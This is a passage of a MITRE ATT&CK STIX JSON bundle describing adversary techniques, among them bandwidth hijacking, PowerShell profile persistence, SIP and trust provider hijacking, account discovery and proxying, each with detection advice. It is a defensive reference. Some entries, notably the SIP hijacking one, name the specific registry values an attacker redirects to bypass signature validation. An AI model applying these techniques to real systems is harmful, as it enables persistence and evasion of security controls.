<code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>",
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                    "phase_name": "privilege-escalation"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Paul Speulstra, AECOM Global Security Operations Center"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "File: File Creation",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e",
            "created": "2024-09-25T13:44:35.412Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496/002",
                    "external_id": "T1496.002"
                },
                {
                    "source_name": "Sysdig Proxyjacking",
                    "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
                    "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
                },
                {
                    "source_name": "Unit 42 Leaked Environment Variables 2024",
                    "description": "Margaret Kelley, Sean Johnstone, William Gamazo, and Nathaniel Quist. (2024, August 15). Leaked Environment Variables Allow Large-Scale Extortion Operation in Cloud Environments. Retrieved September 25, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/"
                },
                {
                    "source_name": "GoBotKR",
                    "description": "Zuzana Hromcov\u00e1. (2019, July 8). Malicious campaign targets South Korean users with backdoor\u2011laced torrents. Retrieved March 31, 2022.",
                    "url": "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T21:52:31.979Z",
            "name": "Bandwidth Hijacking",
            "description": "Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.(Citation: Unit 42 Leaked Environment Variables 2024)\n\nIn addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim\u2019s bandwidth is used for illegal activities.(Citation: Sysdig Proxyjacking)",
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                    "phase_name": "impact"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "IaaS",
                "Containers"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "File: File Creation",
                "Command: Command Execution",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_impact_type": [
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a",
            "created": "2019-06-14T18:53:49.472Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1504",
                    "external_id": "T1504"
                },
                {
                    "source_name": "Microsoft About Profiles",
                    "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
                },
                {
                    "source_name": "Wits End and Shady PowerShell Profiles",
                    "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
                    "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
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            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:43.586Z",
            "name": "PowerShell Profile",
            "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1198",
                    "external_id": "T1198"
                },
                {
                    "source_name": "Microsoft Authenticode",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx"
                },
                {
                    "source_name": "Microsoft WinVerifyTrust",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
                },
                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                },
                {
                    "source_name": "EduardosBlog SIPs July 2008",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
                },
                {
                    "source_name": "Microsoft Catalog Files and Signatures April 2017",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
                },
                {
                    "source_name": "GitHub SIP POC Sept 2017",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
                },
                {
                    "source_name": "Entrust Enable CAPI2 Aug 2017",
                    "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
                    "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"
                },
                {
                    "source_name": "Microsoft Registry Auditing Aug 2016",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
                },
                {
                    "source_name": "Microsoft Audit Registry July 2012",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:43.741Z",
            "name": "SIP and Trust Provider Hijacking",
            "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
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            "x_mitre_contributors": [
                "Matt Graeber, @mattifestation, SpecterOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
            "created": "2017-05-31T21:31:06.988Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087",
                    "external_id": "T1087"
                },
                {
                    "source_name": "AWS List Users",
                    "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
                },
                {
                    "source_name": "Google Cloud - IAM Servie Accounts List API",
                    "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:41.600Z",
            "name": "Account Discovery",
            "description": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Daniel Stepanic, Elastic",
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Office Suite",
                "Identity Provider",
                "ESXi"
            ],
            "x_mitre_version": "2.6",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "created": "2017-05-31T21:31:08.479Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1090",
                    "external_id": "T1090"
                },
                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:44.084Z",
            "name": "Proxy",
            "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jon Sheedy",
                "Heather Linn",
                "Walker Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "3.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "created": "2017-05-31T21:30:49.546Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059",
                    "external_id": "T1059"
                },
                {
                    "source_name": "Remote Shell Execution in Python",
                    "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.",
                    "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
                },
                {
                    "source_name": "Powershell Remote Commands",
                    "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:41.855Z",
            "name": "Command and Scripting Interpreter",
            "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "Identity Provider",
                "Linux",
                "Network Devices",
                "Office Suite",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "2.6",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "Process: Process Creation",
                "Process: Process Metadata",
                "Module: Module Load",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da",
            "created": "2020-03-19T19:09:30.329Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/006",
                    "external_id": "T1562.006"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
                },
                {
                    "source_name": "Broadcom Configuring syslog on ESXi",
                    "description": "Broadcom. (n.d.). Configuring syslog on ESXi. Retrieved March 27, 2025.",
                    "url": "https://knowledge.broadcom.com/external/article/318939/configuring-syslog-on-esxi.html"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
                },
                {
                    "source_name": "LemonDuck",
                    "description": "Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.",
                    "url": "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/"
                },
                {
                    "source_name": "Microsoft Lamin Sept 2017",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
                },
                {
                    "source_name": "Microsoft About Event Tracing 2018",
                    "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"
                },
                {
                    "source_name": "Medium Event Tracing Tampering 2018",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.",
                    "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:29:20.899Z",
            "name": "Indicator Blocking",
